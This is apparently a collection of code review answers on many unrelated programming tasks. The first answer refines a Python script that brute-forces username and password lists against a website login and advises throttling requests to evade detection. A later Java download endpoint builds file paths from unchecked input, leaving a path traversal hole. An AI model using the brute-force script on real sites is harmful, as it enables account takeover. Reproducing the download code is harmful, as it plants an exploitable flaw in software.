Try every username and password from a list on a website

First, improving the code:

Reading lines from a file is as easy as open(name, 'r').readlines(). No need for three lines where one is enough.
data and data2, are on the face of it redundant (and are badly named). The redundancy is only resolved because you reuse data – not a good idea. Use proper variable naming and use new variables for a new purpose, don’t reuse variables.

(And in general, choose more relevant names.)
If you don’t use the else branch in a conditional, don’t write it.
Separation of concerns! This method tries to find a way into a website, not print stuff to the console. Return the result instead. That way, the function can be properly used.

This leaves us with:

def BruteForce(url, userlist_file, passlist_file):
    userlist = open(userlist_file, 'r').readlines()
    passlist = open(passlist_file, 'r').readlines()

    for username in userlist:
        for password in passlist:
            data = { 'username': username, 'password': password }
            encoded = urllib.urlencode(data)
            request = urllib2.Request(url, encoded)
            response = urllib2.urlopen(request)
            payload = response.read()

            isconnect = 'True'
            if(payload.find(isconnect) >= 0):
                return data

    return { } # Nothing found

Now to your question:

  Is this code efficient?

Not really. The problem isn’t so much the code in itself, it’s more the fact that HTTP requests are generally quite slow, but the most time is spent waiting for data. If you do them sequentially (and you do), most of the script’s running time is spent waiting.

This can be drastically improved by sending several requests concurrently. This doesn’t even need multithreading – you can just open several connections in a loop, and then start reading from them. Even better would be to read asynchronously. Unfortunately, urllib doesn’t support this – but other libraries do.

That said, you cannot simply bombard the web server with tons of requests. After all, your script is malicious and you don’t want the web server to notice you. So you need to fly under the radar – send just as many concurrent requests as the server allows without being blocked immediately.

Finding this number is tricky and requires guesswork and a bit of luck. If you are lucky, the server is badly configured and won’t mind lots of connections. If you want to stay on the safe side, stay way low.

I have no idea, nor much interest in, how to engineer such an attack.


Calculating minimum size of rectangle that contains two smaller ones

For the moment, I'm assuming a typical graphics system with the origin at the top left. At the very least, the variable names I've used depend upon that to really make any sense. Anyway, I believe the logic you want can be embodied in code something like this (please forgive the sexist variable names):

Rectangle operator+(Rectangle &o) {
    double my_left = std::min(x, x + a);
    double his_left = std::min(o.x, o.x + o.a);
    double left = std::min(my_left, his_left);

    double my_right = std::max(x, x + a);
    double his_right = std::max(o.x, o.x + o.a);
    double right = std::max(my_right, his_right);

    double my_top = std::min(y, y + b);
    double his_top = std::min(o.y, o.y + o.b);
    double top = std::min(my_top, his_top);

    double my_bottom = std::max(y, y + b);
    double his_bottom = std::max(o.y, o.y + o.b);
    double bottom = std::max(my_bottom, his_bottom);

    return Rectangle(left, top, right - left, bottom - top);
}

If you can be sure that a and b are non-negative, you can simplify that quite a bit to just:

Rectangle operator+(Rectangle &o) {
    double left = std::min(x, o.x);
    double right = std::max(x + a, o.x + o.a);
    double top = std::min(y, o.y);
    double bottom = std::max(y + b, o.y + o.b);

    return Rectangle(left, top, right - left, bottom - top);
}

As for the rest of the code, I see two obvious things. First of all, the variable names aren't particularly helpful. I guess I can sort of keep things like x1 and x2 straight, but only just.

Second, the logic strikes me as almost a complete mess. I guess I can understand what it needs to do, and if I was willing to spend enough time on it I could verify that it works correctly--but it's not immediately obvious to me at first glance, and it would take some fairly exhaustive (and exhausting) analysis to be sure that it works for every possible case, not to mention being sure exactly how it works.

There's also one final caveat I feel obliged to add: an IEEE floating point number can be set to a NaN, which means all comparisons to that value will return false (even if (a == a) will yield false). If either of your rectangles contains a NaN, all of these will produce garbage results.


any better way than using old servlet api for downloads

Resource interface provides an effective way of accessing the content of the resource and supports handling of all kinds of file resources. Please see if that helps you to some extent.
public ResponseEntity < Resource > downloadFile(String fileName) {

  final String FILE_LOCATION = "/mnt/nfs/myfolder/prod/documents/custom_documents/";

  File file = new File(FILE_LOCATION + "/" + fileName);

  Path path = Paths.get(file.getAbsolutePath());
  ByteArrayResource resource = new ByteArrayResource(Files.readAllBytes(path));

  HttpHeaders headers = new HttpHeaders();
  //headers.add(HttpHeaders.CONTENT_DISPOSITION, "attachment; filename=" + file.getName());

  return ResponseEntity.ok().headers(headers).contentLength(file.length()).contentType(MediaType.APPLICATION_OCTET_STREAM).body(resource);
}


Python Find All Adjacent Subsets of Set of Coins Which Have a Tails Minority

go has these costs:

                                     O(x)
def go(rang,data):
    if tuple(rang) in seen: return 0   n
    seen.add(tuple(rang))              n
    h = 0                              1
    summ = 0                           1
    if len(rang)==0: return 0          1
    for i in rang:                     n (
        if data[i] == 'H': h += 1         1
        summ += go(rang[1:],data)         n + T(n-1)
        summ += go(rang[:-1],data)        n + T(n-1)
    if len(rang) == 1:                 ) 1
        if h ==1: return 1             1
        else: return 0                 1
    if h > (len(rang)-1)/2 :           1
        return 1 + summ                1
    else: return summ                  1

You call this once for each sub-tuple of data, and there are at least this many of those:

$$
1 + 2 + 3 + ... + (n-1) + n
$$

Because there are \$1\$ for length \$n\$, \$2\$ for length \$n-1\$, etc. There's one more for length 0, but that's uninteresting.

Each should be multiplied by its cost; if you consider only those that succeed (not those which are caught by seen), they cost \$\mathcal{O}(n^2)\$ each due to

    for i in rang:                     n (
        if data[i] == 'H': h += 1         1
        summ += go(rang[1:],data)         n + T(n-1)
        summ += go(rang[:-1],data)        n + T(n-1)
                                       )

The calls are not part of this; only the looping and the slicing. This gives a cost of

$$
1(n)^2 + 2(n-1)^2 + 3(n-2)^2 + ... + (n-1)(2)^2 + n(1)^21
$$

or

$$
\sum_{k=1}^n k (n-k+1)^2 = \frac{1}{12} n (n+1) (n^2+3 n+2)
$$

which is \$\mathcal{O}(n^4)\$. So caching does improve this a lot from \$\mathcal{O}(2^n n!)\$... but not nearly enough.

Note that we could prove that it's valid to ignore failed calls by moving the if tuple(rang) in seen check into the caller and seeing that the cost is the same.

Using range objects like Python 3's range would give costs of \$\mathcal{O}(n)\$ each, not \$\mathcal{O}(n^2)\$, since slicing would be \$\mathcal{O}(1)\$. However, the check if tuple(rang) in seen prevents this from mattering. You can see this by moving the check into the caller. If you changed this to if rang in seen using an \$\mathcal{O}(1)\$ hash, this would work and reduce the cost to \$\mathcal{O}(n^3)\$ overall. Math elided for brevity.

We can test this experimentally like:

import time

def times(iters):
    for n in range(iters):
        heads = ['H'] * (2**n)
        seen.clear()

        s = time.time()
        count_sequences(heads)
        print((time.time() - s) * 10**5)

times(8)

Giving

0.691413879395
1.00135803223
3.48091125488
14.9011611938
90.2891159058
759.696960449
7593.48869324
87769.818306

We expect for \$\mathcal{O}(n^4)\$ that a doubling of size will give a factor-of-16 change; we instead see closer to a factor-of-12 change, or \$\mathcal{O}(n^{3.6})\$. This is probably partially because slices are fast relative to interpreter overhead. As \$n\$ increases, this will likely change.

When testing with Python 3 ranges, one gets

1.0251998901367188
1.1444091796875
3.5762786865234375
19.14501190185547
123.23856353759766
878.2625198364258
6614.780426025391
51359.89189147949
414633.48865509033

which is almost perfectly \$\mathcal{O}(n^3)\$.

Your code should use spacing. Note how when you posted this question you used paragraphs with line breaks. The same this helps with code. You should also stick to PEP 8.

Just changing that and using brackets on print gives

def count_sequences(data):
    print(go(range(0, len(data)), data))

seen = set()
def go(range_, data):
    if tuple(range_) in seen:
        return 0

    seen.add(tuple(range_))

    h = 0
    summ = 0
    if not range_:
        return 0

    for i in range_:
        if data[i] == 'H':
            h += 1

        summ += go(range_[1:],data)
        summ += go(range_[:-1],data)

    if len(range_) == 1:
        if h == 1:
            return 1
        else:
            return 0

    if h > (len(range_) - 1) / 2:
        return 1 + summ

    else:
        return summ

I would use a better name than rang/range_; probably indices. However, best use two integers: start/stop. count_sequences should return rather then print. Further, a little cleanup gives

def count_sequences(data):
    return go(data, 0, len(data))

seen = set()
def go(data, start, stop):
    if (start, stop) in seen:
        return 0

    seen.add((start, stop))

    h = 0
    summ = 0
    if start == stop:
        return 0

    for i in xrange(start, stop):
        if data[i] == 'H':
            h += 1

        summ += go(data, start+1, stop)
        summ += go(data, start, stop-1)

    if stop - start == 1:
        return h

    if h > (stop - start - 1) / 2:
        summ += 1

    return summ

Then consider that

summ += go(data, start+1, stop)
summ += go(data, start, stop-1)

is a loop invariant, so move it out.

And

for i in xrange(start, stop):
    if data[i] == 'H':
        h += 1

can be

h = data[start:stop].count('H')

You can make data[start:stop].count('H'), the only remaining \$\mathcal{O}(n)\$ aspect, faster by replacing data with a list of cumulative counts and doing

h = counts[stop] - counts[start]

This should reduce the cost to just \$\mathcal{O}(n^2)\$ overall; constant cost for each subsequence.

This doesn't do anything so remove it:

if stop - start == 1:
    return h

This then gives

def count_sequences(data):
    counts = [0]
    for item in data:
        counts.append(counts[-1] + (item == 'H'))

    return go(counts, 0, len(data))

seen = set()
def go(counts, start, stop):
    if start == stop:
        return 0

    if (start, stop) in seen:
        return 0
    seen.add((start, stop))

    h = counts[stop] - counts[start]

    summ = go(counts, start+1, stop) + go(counts, start, stop-1)
    if h > (stop - start - 1) / 2:
        summ += 1

    return summ

Simplifying

The first step in simplifying is to consider

h = counts[stop] - counts[start]

if h > (stop - start - 1) / 2:
    summ += 1

This can be reduced to

if counts[stop] - counts[start] >= 0:
    summ += 1

by making 'T' count as -1. Then any subsection with more heads than tails will have a positive total.

This simplifies the whole code to

from itertools import combinations

def count_sequences(data):
    counts = [0]
    for item in data:
        counts.append(counts[-1] + (1 if item == 'H' else -1))

    return sum(end >= start for start, end in combinations(counts, 2))

This is still \$\mathcal{O}(n^2)\$ but it's also much faster and has no recursion limit.

This gives us the secret for how to do this in \$\mathcal{O}(n \log n)\$. We want to do this fast:

sum(end >= start for start, end in combinations(counts, 2))

Let's say you have a list counts as so:

[1, 2, 1, 0, -1, 0, 1, 2, 3, 2, 1, 0, -1, 0, -1, 0]

You look at the list in two parts:

[1, 2, 1, 0, -1, 0, 1, 2]   [3, 2, 1, 0, -1, 0, -1, 0]

You know f(first_half) and f(second_half), so you want to find

sum(end >= start for start, end in product(first_half, second_half))

Unfortunately, the above is no faster than the naïve method. However, you can do merge sort with f(first_half) and f(second_half) in \$\mathcal{O}(n \log n)\$ time, so you can instead have

[-1, 0, 0, 1, 1, 1, 2, 2]   [-1, -1, 0, 0, 0, 1, 2, 3]

Then

sum(end >= start for start, end in product(first_half, second_half))

can be optimized by making a single pass:

def sum_across(first_half, second_half):
    total = 0
    snd_idx = 0

    for i in first_half:
        while second_half[snd_idx] < i:
            snd_idx += 1

            if snd_idx == len(second_half):
                return total

        total += len(second_half) - snd_idx

    return total

All in all, this gives:

from heapq import merge

def sum_across(first_half, second_half):
    total = 0
    snd_idx = 0

    for i in first_half:
        while second_half[snd_idx] < i:
            snd_idx += 1

            if snd_idx == len(second_half):
                return total

        total += len(second_half) - snd_idx

    return total

def count_sequences(data):
    counts = [0]
    for item in data:
        counts.append(counts[-1] + (1 if item == 'H' else -1))

    def recurse(ns):
        if len(ns) <= 1:
            return ns, 0

        mid_point = len(ns) // 2
        first_half, second_half = ns[:mid_point], ns[mid_point:]

        fst_sorted, count_fst = recurse(first_half)
        snd_sorted, count_snd = recurse(second_half)

        count = count_fst + count_snd + sum_across(fst_sorted, snd_sorted)
        ns_sorted = list(merge(fst_sorted, snd_sorted))

        return ns_sorted, count

    counts_sorted, count = recurse(counts)
    return count

count_sequences([ 'H', 'T', 'H', 'T', 'T', 'H' ])
#>>> 11


Using a class to create a custom wrapper for including files

don't shorten method or variable names. It's really hard to see what ior means. I'm guessing includeOrRequire?
You should definitely check for directory traversal. You have the base name and the file name, so you can check if the file is actually in the base dir. You could also additionally do some sanitation on base name (eg replace ..).
Your cleanDirName replaces \ with /. Why not replace / and \ with  DIRECTORY_SEPARATOR, so it works independent of the OS?
You shouldn't die in functions, as it makes it impossible for the calling code to recover (or even to display a custom error page). It also makes the distinction between include and require meaningless, as the only difference is that one holds execution while the other doesn't
return cond ? true : false can be written as return cond.
Don't put the method content in the same line as the method signature, it makes your code less readable. Same for foreach, etc.
Having the ior function doesn't actually provide any benefits. It doesn't remove any duplication, and it introduces extra complexity (the cases are also rather random, just looking at $this->ior(2, $f);, I would have no idea what it does).
fileExists is unnecessary, its just a rename of file_exists. It's also written confusingly, because of the unnecessary negation.
I don't see why you need to check if is_dir and if is_file. Either it's one or the other. Just is_file would be enough. And then your isFile method is also unnecessary, as it's just a rename of is_file.
You don't use basepath, so why have it in the constructor?

Taking all this (without the validation, you would need to add that), you would get:

<?php
class Refrences
{
    public function __construct() { }

    public function includeFile($file) {
        if ($this->isExistingFile($file)) {
            include($file);
        } else {
            // throw exception or return false.
        }
    }
    // [...]

    public function includeArray(array $files)
    {
        foreach($files as $file) {
            includeFile($file);
        }
    }
    // [...]

    private function cleanDirName($file) {
        return rtrim(str_replace(["\\", "/"], DIRECTORY_SEPARATOR, dirname($file)), "/") . "/";
    }

    private function isExistingFile($file) {
        return file_exists($file) && is_file($file);
    }
}

Without the validation for directory traversal, this is basically just a renaming of include, etc to includeFile. I'm not sure it's worth it. You do save the file exists and is file checks, but you have to check the return of the include call anyways.

It does however give you one central place where all includes take place, so if you do want to do additional stuff when including (like checking for directory traversal or normalizing paths for different OSes), it wouldn't be bad to have code like this.


Folding over a Rose Tree : Tree a -> [a]

I don't think that using monads here itself is overkill,
but I would suggest using concat instead of join.

There are no different Monads that could be an argument
to join here. Using concat is more apropriate (imo).


Python 3.6+ function to ask for a multiple-choice answer

The while True is fine, and is probably the best way to do it. However, the rest of the flow control is a bit clumsy.  By rearranging a few statements, you can eliminate the continues.

PEP 8, the official Python style guide, recommends lowercase_with_underscores for function names unless you have a good reason to deviate.

The loop to print the numbered menu would be better written using enumerate().  Also, Python supports double-ended comparisons for validating that the answer is in range.

def multi_choice_question(options: list):
    while True:
        print("\nEnter the number of your choice - ")
        for i, option in enumerate(options, 1):
            print(f'{i}. {option}')
        print("\n")
        try:
            answer = int(input())
            if 1 <= answer <= len(options):
                 return answer
            print("That option does not exist! Try again!")
        except ValueError:
            print("Doesn't seem like a number! Try again!")


As a heads up - we have very different formatting styles for our code. Feel free to ignore that difference and don't consider it a comment on your style (unless you prefer mine, in which case please do).

Aliases
I really dislike the practice of using short aliases for tables. I've never seen a point, and it always makes it harder for me to understand. You can get easy aliases (e.g. q -> questions or a -> answers) for very few characters.
I also really like when each column of my output has an actual name, so its easier to understand. In this case, I would alias COUNT(*) as [Zombie Kill Count] or something.
Also, you can use the alias in your ORDER BY, which I find conceptually easier to understand.

Performance
One thing that jumps out at me is that you're using a function in your WHERE clause. This can cause the cardinality estimator to get really confused (I don't know if SEDE still uses the legacy cardinality estimator; if they do, then this problem is magnified) and you can end up with some less-than-ideal query plans. One way to avoid this is to not include your column in the function. For example, instead of this:
SELECT *
  FROM Posts
  WHERE DATEDIFF( MONTH, CreationDate, @startDate ) > 1;

You could do this
SELECT *
  FROM Posts
  WHERE CreationDate < DATEADD( MONTH, -1, @startDate );

This lets the cardinality estimator use the available statistics on the CreationDate column without confusing it with the function.
If you're grouping by a value that doesn't actually add a new level of granularity (Users.DisplayName doesn't actually change the grouping) it can be more efficient to use an aggregate there; you get the same result, but a cheaper sort.
SELECT MAX( u.DisplayName ) -- I'm cheaper than grouping on me

Playing around with the APPLY operator can be fun as well; I've often seen it perform better than a NOT EXISTS, like so (with a GoodAnswers.Id IS NULL in the WHERE clause to get an exclusive outer apply). Note - this one wasn't tested, so YMMV. APPLY can be pretty situational, but I always have fun writing them.
OUTER APPLY ( SELECT TOP( 1 ) Id
                FROM Posts OldAnswers
                WHERE OldAnswers.ParentId = Questions.Id
                  AND OldAnswers.CreationDate < @startDate
                  AND OldAnswers.Score > 0
                ORDER BY ( SELECT NULL ) ) GoodAnswers

Overall, I came up with something like this.
DECLARE @startDate date;
SET @startDate = CONVERT( datetime, '2019-07-21' );

SELECT TOP ( 25 )
       MAX( Answerers.DisplayName ) [Answerer Name],
       COUNT( * ) [Zombie Kill Count]
  FROM Posts Questions
    INNER JOIN Posts Answers
      ON Questions.Id = Answers.ParentId
    INNER JOIN Users Answerers
      ON Answers.OwnerUserId = Answerers.Id
    OUTER APPLY ( SELECT TOP ( 1 )
                         Id
                    FROM Posts OldAnswers
                    WHERE OldAnswers.ParentId = Questions.Id
                      AND OldAnswers.CreationDate < @startDate
                      AND OldAnswers.Score > 0
                    ORDER BY ( SELECT NULL )) GoodAnswers
  WHERE Questions.PostTypeId = 1
    -- Target old questions with new answers
    AND Questions.CreationDate < DATEADD( MONTH, -1, @startDate )
    AND Answers.Score > 0
    AND Answers.CreationDate > @startDate
    -- That didn't already have a good answer
    AND GoodAnswers.Id IS NULL
    -- Remove low quality/closed/deleted/community owned questions
    AND Questions.Score >= 0
    AND Questions.ClosedDate IS NULL
    AND Questions.CommunityOwnedDate IS NULL
    AND Questions.DeletionDate IS NULL
  GROUP BY Answerers.Id
  ORDER BY [Zombie Kill Count] DESC;

Some extra notes:

Unfortunately, I had a hard time finding information on the available
indices on SEDE. The best resource I found was this post. It
doesn't list any indices on the Posts table, although we do have
one on Users.Id. As such there aren't any great suggestions I have
for joins here; you're probably doing about as well as you can.
You have a pretty lengthy WHERE clause going on; that'll likely dilute the cardinality even further, but I don't see a reasonable
alternative.


Representing IPv6 addresses with PHP per RFC 5952

You seem to adhere to the RFC from what I can tell. What I feel is missing in your code is just a little more bracing and a way to drop these repeating if-statements.

What do you think of the following for the :: replacing (pseudocode)

const $zero_chain = '0:0:0:0:0:0:0:';

// zero shortening already happened by now
$zero_chain_copy = $zero_chain;
while (strpos($ip, '::') === false && strlen($zero_chain) >= 4) {
    $pos = strpos($ip, $zerochain);
    if ($pos !== false) {
        // early return, because no further shortenings can be applied anyways
        return $ip = substr_replace($ip, ::, $pos, strlen($zero_chain));
    }
    // cut away one '0:' to shorten the chain
    $zero_chain = substr($zerochain, 0, strlen($zero_chain) - 2);
}
return $ip; // no zero-chains at all


Counting the number of days worked for all commiters to a git repo

For this part:

author_lines = filter(lambda str: str.startswith('Author'), lines)
date_lines = filter(lambda str: str.startswith('Date'), lines)
author_lines = map(lambda str: str[8:], author_lines)
date_lines = map(lambda str: str[8:18].strip(), date_lines)

This might be clearer, not that I have anything against map or filter, but list comprehensions do combine them nicely when you need both:

author_lines = [line[8:] for line in lines if line.startswith('Author')]
date_lines = [line[8:18].strip() for line in lines if line.startswith('Date')]

This:

lines = sorted(list(set(lines)), key = lambda tup: tup[0])

Can become:

lines = sorted(set(lines), key = lambda tup: tup[0])

for slightly less repetition (sorted automatically converts to a list).
And are you sure the key is even necessary? Tuples get sorted by elements just fine, the only reason to sort specifically by only the first element is if you want to preserve the original order of lines with the same author, rather than sorting them by the date line.
... Actually, why are you even sorting this at all? I don't see anything in the rest of the code that will work any differently whether it's sorted or not.

For this:

commiters = list(set(map(lambda tup: tup[0], lines)))

Why are you zipping author_lines and date_lines and then unzipping again? Just do:

commiters = set(author_lines)

or am I missing something?

And this:

d = dict(zip(commiters, [0 for x in xrange(len(commiters))]))
for item in lines:
    d[item[0]] += 1

You're just getting commit counts, right?  Use Counter:

import collections
d = collections.Counter([author_line for author_line,_ in lines])

Or, if your python version doesn't have collections.Counter:

import collections
d = collections.defaultdict(lambda: 0)
for author_line,_ in lines:
    d[author_line] += 1

... Wait, are you even using date_lines anywhere? If not, what are they there for?


Using static management class to control db transactions through an EF6

umm yes, you could do it that way.

  as far as I understood that EF context is not thread-safe so I'm
  instantiating one with every call through the using statement

Where did you read this?  I'm not denying it it's just that I have not read this before and I haven't experienced too many problems with using EF in the case of one instance per request.

  My second question, is the use of Boolean variable ok to signal
  failure in db transactions

Maybe.  But how are you going to know what actually went wrong?  All that's going to happen is you know something went wrong but when it comes to diagnosing it you will be at a dead end because you have swallowed the exception (so to speak).  Given that your exceptions seeming to be handling cases such as the database offline, or connection issues I think it would be best to bubble those up as that would be a core system fault and you would want to know more info.

Here's an alternative solution using a non-static class and sharing the Database context between methods.

  NOTE:  I would actually consider removing the default empty
  constructor and IDisposable if you were using an IOC framework to
  instantiate the context as that would be responsible for your instance
  lifetime.  However I'm not sure how your Account Manager would be created.

public class AccountManager : IDisposable
{
    private enum Role { User, Comment, CommentControl, Sysadmin }
    private readonly AccountsDbCtx dbContext;

    public AccountManager(AccountsDbCtx dbContext)
    {
        this.dbContext = dbContext;
    }

    public AccountManager() : this(new AccountsDbCtx())
    {
    }

    public void Dispose()
    {
        dbContext.Dispose();
    {

    public bool IsUserInRole(string username, string role)
    {
        var account = dbContext.Accounts.SingleOrDefault(x => x.Username == username);

        if(account == null)
        {
            return false;
        }

        var existingRole = account.Roles.Where(x => x.Name.Equals(role, StringComparison.InvariantCultureIgnoreCase));

        return existingRole.Any();
    }

    public bool IsUserCached(string username)
    {
        return dbContext.Accounts.Any(x => x.Username == username);
    }

    public void CacheUser(string username)
    {
        dbContext.Accounts.Add(new Account
        {
            Active = true,
            Username = username
        });

        dbContext.Accounts.Add(newAcc);
        dbContext.SaveChanges();

        AssignRoleUser(username);
    }

    public bool AssignRoleUser(string username)
    {
        return AssignRole(username, Role.User);
    }

    public bool AssignRoleComment(string username)
    {
        return AssignRole(username, Role.Comment);
    }

    public bool AssignRoleCommentControl(string username)
    {
        return AssignRole(username, Role.CommentControl);
    }

    public bool AssignRoleSysAdmin(string username)
    {
        return AssignRole(username, Role.Sysadmin);
    }

    private bool AssignRole(string accountName, Role role)
    {
        // Why would a role not exist in our database?
        var roleToAssign = dbContext.Roles.Single(x => x.Role1 == (int)role);
        var currentAccount = dbContext.Accounts.SingleOrDefault(x => x.Username.Contains(accountName));

        if (currentAccount == null)
            return false;

        currentAccount.Roles.Add(roleToAssign);
        dbContext.SaveChanges();

        return IsUserInRole(accountName, role);
    }
}


Unity Static Singleton JSON Serialisation

Here are my observations after a quick review:

First of all your class is not a thread-safe singleton.

Please read Jon Skeet's guidance how to implement is properly.

As I understand you would like to implement a Memento pattern in C#.

There are a couple of good samples how to implement it properly: 1, 2, 3
BTW you can also use the Solid nuget package as well

Sorry but your naming is terrible, please try to follow some guideline, like:

Name your functions / methods in a way that they start with a verb, for example: SaveState, RestoreState
Name Your classes/ structs in a way that they are nouns (w/o adjective), for example: PlayerState,PortablePlayerState


There's not a lot to say about such a simple program, mainly nitpicks:

Member fields that you don't need to expose to the outside should be private, such as the socket in ServerSocketThread.
Whenever you can, make member fields final, for example the socket in ServerSocketThread.
The Socket parameter in the constructor of ServerSocketThread is poorly named accept. It would be better to call it what it is: socket
s for a Scanner is not a great name either. How about scanner ?
It's a bit odd that the server doesn't talk back to the client, just prints stuff on its console.
If the program gets more complex later:

It might be good to move the literal string like "bye" to a constant variable, as it's somewhat special, being the special terminating sequence
Printing stack trace on the console is considered bad practice
Printing pretty much anything to the console is considered bad practice

However, at this point, your program being a toy, it doesn't really matter, just for the record...


public static class TaskExtensions
{
    private static readonly TaskFactory TaskFactory = new TaskFactory(
            CancellationToken.None,
            TaskCreationOptions.None,
            TaskContinuationOptions.None,
            TaskScheduler.Default);

    public static TResult RunSync<TResult>(this Func<Task<TResult>> asyncFunc)
        => TaskFactory
            .StartNew(asyncFunc)
            .Unwrap()
            .GetAwaiter()
            .GetResult();

    public static void RunSync(this Func<Task> asyncAction)
        => TaskFactory
            .StartNew(asyncAction)
            .Unwrap()
            .GetAwaiter()
            .GetResult();
}

There are several things that worth mentioning:

Async methods were designed to be used all the way. So, if you call an async I/O operation in the bottom layer then it should be be called in an async fashion till the top layer.
Async operations are sensitive for Exceptions. They can behave differently based on how you call them. (They can be swallowed, thrown as an AggregateException or thrown normally. Here the UnWrap + GetAwaiter do the magic for us to be able to handle the exception normally.
In order to avoid deadlocks the async operation is passed to an other Task, that is where TaskFactory.StartNew comes into play.


Weighted union-find with path compression in Python 3

unite should check if p and q are in the same set already and do nothing in that case.
Using dictionaries instead of lists as internal data structures would make this more flexible. Now the elements must be from range(N) and N has to be known at the start. Wikipedia suggests a MakeSet function which you could implement like this, and your other functions would continue to work unchanged:

def __init__(self):
    self.id = {}
    self._rank = {}

def make_set(self, element):
    self.id[element] = element
    self._rank[element] = 1

id is a non-obvious name for a data structure stores the parent of each node in a tree. Why not parent?
A single leading underscore is conventionally used to indicate private data.
It is possible condense these two lines to one and avoid the extra lookup of self.id[x]

self.id[x] = self.id[self.id[x]]
x = self.id[x]

with a chained assignment. However, you risk confusing a reader who is not well familiar with the order of evaluation. The right hand side is evaluated first, and the assignments are carried out starting from self.id[x] on the left, and the value of  x changes after:

self.id[x] = x = self.id[self.id[x]]


Detect if string contains more than 1 period

Optimize for maintainability first

Is the complexity of your function really needed? The functionality can be implemented in one line using only standard-library algorithms.

bool
is_valid(const std::string& str)
{
  return (std::count(std::begin(str), std::end(str), '.') <= 1);
}

Let's see how this will compare against your version. I hope we can agree that for readability, it is a clear win. Considering performance:

If the string is valid, both algorithms will iterate over the entire string exactly once.
If the string is not valid (contains more than one .), your algorithm will short-circuit and immediately return while std::count will continue iterating until the end of the string.

But do you really expect that the case of strings that

are invalid,
very long and
contain the second . near the beginning

is frequent enough to optimize for? It certainly won't buy you anything in the worst-case scenario. Even if you think it is, I would strongly encourage you to benchmark first. You might very well be surprised.

Don't make copies you don't need

Conceptually, your function is read-only. In order to answer whether a string has a certain property, we don''t have to modify it. Copying strings can be expensive so that operation might well dwarf any other improvement you make. (The iteration is \$\mathcal{O}(n)\$ but copying is also \$\mathcal{O}(n)\$ plus a substantial cost for allocating (and later deallocating) the buffer. Plus potentially touching cold memory.)

The corollary of this is of course to make your function take its parameter as a const reference (as I did in the alternative above).

Don't mix concerns

Your function is a predicate for strings. Predicates should be pure. Producing output shouldn't be any of that function's business. Let the caller of your function decide what they want to do with the result. (To illustrate, think how awkward it would be if std::string::find would write to standard output whenever it found something. Leave alone the performance implications of doing I/O like this.)

Avoid deeply nested control structures

You could improve the readability of your code by reducing the levels of nested structures by returning early. For example, if you start by

const auto pos = str.find('.', 0);
if (pos == std::string::npos)
  return true;

then you can flush the remainder of the code to the left. I also find this style more readable because I don't have to check whether the function will actually do anything else after that point.


Scrape every Java themed codingbat problem set and your personal solutions

Global nomenclature
urlHalf should be URL_HALF. That said, a better name would be DOMAIN, since that's what that string actually is.
Further, after declaring this you don't use it correctly; these:
base_url = "https://codingbat.com"
login_url = "https://codingbat.com/login"
java_url = "https://codingbat.com/java/"

could be
BASE_URL = 'https://' + DOMAIN
LOGIN_URL = BASE_URL = '/login'
JAVA_URL = BASE_URL + '/java'

Input
print("what is your email")
inputOne = input(">")
print("password")
inputTwo = input(">")

should not occur at global scope; it should occur in a function. Also, the use of input for passwords is insecure; use getpass instead.
Return parens
These parens:
return(href_array)

are redundant.
Generator
link_array = []
for directory in directories:
    # ...
    link_array.append(links)
return(link_array)

can simply be
for directory in directories:
    # ...
    yield links

or, if you want a "flattened" output that does not have nested lists, use yield from links.
File extensions
Does this file:
f = open('answers/answers.java', 'w')

actually receive Java code? It seems not, in which case - use just .txt.


Print all permutations of a given string in Java

I'd bet you're right with used being somehow strange. The standard algorithm I recall doesn't need it. As I tried to improve your code, I ended up with the standard algorithm, so it's pointless to paste it here (someone else will surely do this better).

So some unsolicited general advice instead(*):

When you start with a main, call a static method, which uses another static method, then you're programming purely procedurally. I always recommend to stop it ASAP, e.g., by something like

public static void main(String[] args) {
    new MyClass().go(args);
}

Then you need no more static and can start putting some fields into your first object.

The other thing is printing instead of doing some reusable work.

(*) I consider this more important the good algorithmization as it took me long to grasp.


Project Euler 30 - Digit fifth powers in Rust

If you want to measure the execution time of your program, run it directly, rather than going through Cargo, which adds some overhead of its own.

$ time cargo run --release
     Running `target/release/pe30`
Numbers 443839

real    0m0.111s
user    0m0.087s
sys     0m0.027s

$ time ./target/release/pe30
Numbers 443839

real    0m0.045s
user    0m0.040s
sys     0m0.003s

(Cargo's overhead was much worse in the 0.2.0 nightly I first tried this with...)

The Rust compiler generates quite suboptimal code in debug builds, so don't worry too much about it.

Now for the code review proper:

let values: Vec<char> = x.to_string().chars().collect();

There is no need to collect() if all you're going to do is iterate on the collection. chars() returns a struct that implements Iterator, so you can use directly in a for loop.

let values = x.to_string().chars();

Oops, that doesn't compile:

src/main.rs:4:22: 4:35 error: borrowed value does not live long enough
src/main.rs:4         let values = x.to_string().chars();
                                   ^~~~~~~~~~~~~

We need to keep the value of x.to_string() alive, since the value of x.to_string().chars() refers to it. (You can discover that from the fact that Chars has a lifetime parameter ('a).) Let's split up the expression:

let x_str = x.to_string();
let values = x_str.chars();

But rather than using the builtin to_string(), we can generate the digits of a number arithmetically:

fn digits(mut n: u32) -> Vec<u32> {
    if n == 0 {
        vec![0]
    } else {
        let mut digits = Vec::new();
        while n > 0 {
            digits.push(n % 10);
            n /= 10;
        }

        digits
    }
}

fn main() {
    let mut total_pow = 0;
    for x in 2..360000 {
        let digits = digits(x);
        let mut total = 0;
        for digit in digits {
            total += digit.pow(5);
        }
        if total == x {
            total_pow += x
        }
    }
    println!("Numbers {}", total_pow);
}

(digits produces the digits from least-significant to most-significant; the order isn't important in this algorithm.)

At this point, I think the code is pretty optimal. However, Rust also encourages functional-style programming. Why not take a look?

First, let's change this loop:

let mut total = 0;
for digit in digits {
    total += digit.pow(5);
}

into a fold:

let total = digits.iter().fold(0, |sum, digit| sum + digit.pow(5));

fold lets you produce a single value from an Iterator. You specify the initial value, then a function to call on each item that returns the accumulator to pass to the next item, or to return if the end is reached. When you compile with --release, fold is often inlined.

We can do the same again with the outer loop:

let total_pow = (2..360000).fold(0, |total_pow, x| {
    let digits = digits(x);
    let total = digits.iter().fold(0, |sum, digit| sum + digit.pow(5));
    if total == x {
        total_pow + x
    } else {
        total_pow
    }
});

This big closure looks a bit messy, though. Let's break up the problem further. First, we want to obtain the list of numbers that can be written as the sum of fifth powers of their digits. Then, we want to sum that list.

For the first task, we need to eliminate numbers that don't apply. To keep only some items from a list, we can use filter. filter returns a new Iterator, on which we can apply fold to get the sum.

fn main() {
    let total_pow = (2..360000).filter(|&x| {
        x == digits(x).iter().fold(0, |sum, digit| sum + digit.pow(5))
    }).fold(0, |total_pow, x| {
        total_pow + x
    });
    println!("Numbers {}", total_pow);
}

